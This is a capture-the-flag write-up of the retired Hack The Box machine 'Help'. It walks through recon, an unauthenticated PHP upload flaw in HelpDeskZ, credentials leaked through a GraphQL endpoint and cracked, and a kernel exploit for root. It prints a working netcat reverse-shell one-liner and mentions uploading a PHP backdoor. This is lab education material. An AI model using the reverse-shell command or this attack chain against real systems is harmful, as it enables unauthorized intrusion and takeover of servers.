Hey guys today Help retired and here’s my write-up about it. Help was a nice easy machine, I don’t really have much to say about it. To get an initial shell on the box we will exploit a non-authenticated file upload vulnerability in a web application called
HelpDeskZ. This vulnerability could be exploited in two ways either by editing the exploit to include a higher range or by getting credentials to the web app and editing some settings to make the exploit work. After getting a shell the privilege escalation part is just a kernel exploit. It’s a Linux box and its ip is
10.10.10.121 I added it to
help.htb. Let’s jump right in !
As always we will start with
nmap to scan for open ports and services :
nmap -sV -sT -sC help.htb
ssh on port 22 and
http on two ports : 80 and 3000. What’s running on port 80 is an
Apache2 server and on port 3000 is
Node.js Express Framework.
On port 80 there’s just the default
Apache index page :
So I ran
gobuster and got these results :
gobuster -u http://help.htb/ -w /usr/share/wordlists/dirb/common.txt
I went to
/support and there was a web application called
A quick search and I found an unauthenticated file upload vulnerability that takes advantage of the weak file renaming function that’s responsible for renaming tickets attachments and the ability to upload
php files because they are allowed by default.
HelpDeskZ = v1.0.2 suffers from an unauthenticated shell upload vulnerability.
The software in the default configuration allows upload for .php-Files ( !! ). I think the developers thought it was no risk, because the filenames get obfuscated when they are uploaded. However, there is a weakness in the rename function of the uploaded file. -exploit-db
I wanted to test if I can really upload
php so I went to
Submit a Ticket and I attached a test file :
And I got
File is not allowed.
HelpDeskZ is an open-source application so I checked the source on github.
The script that handles tickets submissions is called
new-ticket.php. It can be found in
Here’s the part for the attachments :
It takes the file and uploads it then there’s an
if statement that checks the result of passing
$fileinfo to a function called
verifyAttachment. If the function returned
0 it will rename the file. If it’s not
0 it will delete the file (
unlink(UPLOAD_DIR.$filename)) . This function can be found in
This function runs several checks on the file, but interestingly it doesn’t check for allowed file extensions. This means that if the file passed these checks the function will return
0 and the file will be renamed and successfully uploaded no matter what’s the extension of that file and the message that says :
File is not allowed. is meaningless.
If we take a look at how the application renames files it gets the md5 hash of the filename concatenated with the time of upload then it concatenates that hash with the original file extension. And that’s how the exploit finds the uploaded file. But there’s a small problem about time, running the exploit on our box would use our local time. If the timezone of the web app is different from the timezone of our box the exploit will fail to find the file because it will use a wrong time.
If we take a look at the exploit :
We can solve this problem by iterating over a higher range than 300 :
for x in range(0, 300)
This will make it try different hashes according to different times until it finds the file, you can call it a bruteforce attack. That will be easy let’s look at another solution. Another solution is to get credentials to login to the web app and edit the timezone in the settings to make it the same as ours.
We saw earlier that port 3000 was open and running
Node.js Express framework and we haven’t looked at that yet.
By going to
http://help.htb:3000/ I got this response of a message saying :
"Hi Shiv, To get access please find the credentials with given query", I tried
/test and got this :
tbh the next step involved a lot of guessing/fuzzing with custom wordlists and random things based on google searches about
node.js queries and other related stuff. After a lot of attempts to find something when I tried
/graphql I got this response :
So I added
?query and got a syntax error :
That’s fine, I tried requesting a query, for example
It says that
user must have a selection of subfields so I tried
Great, let’s get the password :
I used crackstation to crack the hash and got this password :
Now we have the credentials :
email@example.com : godhelpmeplz
I edited the path of the uploads in the exploit, instead of
helpdeskzBaseUrl+md5hash+'.php' I made it :
I got that path from the github repository).
Exploit after edits :
I went to the settings and changed the timezone to the same timezone as mine :
php file I’m going to upload is
simple-backdoor.php which can be found in
<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->
I submitted the ticket :
Then I ran the exploit and it found the file immediately :
python exploit.py http://10.10.10.121/support/ rick.php
It’s working, let’s get a reverse shell, I used this payload (url encoded) :
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f
We owned user.
Privilege escalation on this machine was very easy, just a kernel exploit. One of the first things to check after getting a shell is the system info :
That kernel version is vulnerable to a local privilege escalation vulnerability and there’s an exploit published for it.
I ran a python server to host the exploit then I downloaded it on the box :
Then I compiled the exploit and ran it :
gcc -o exploit exploit.c
And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.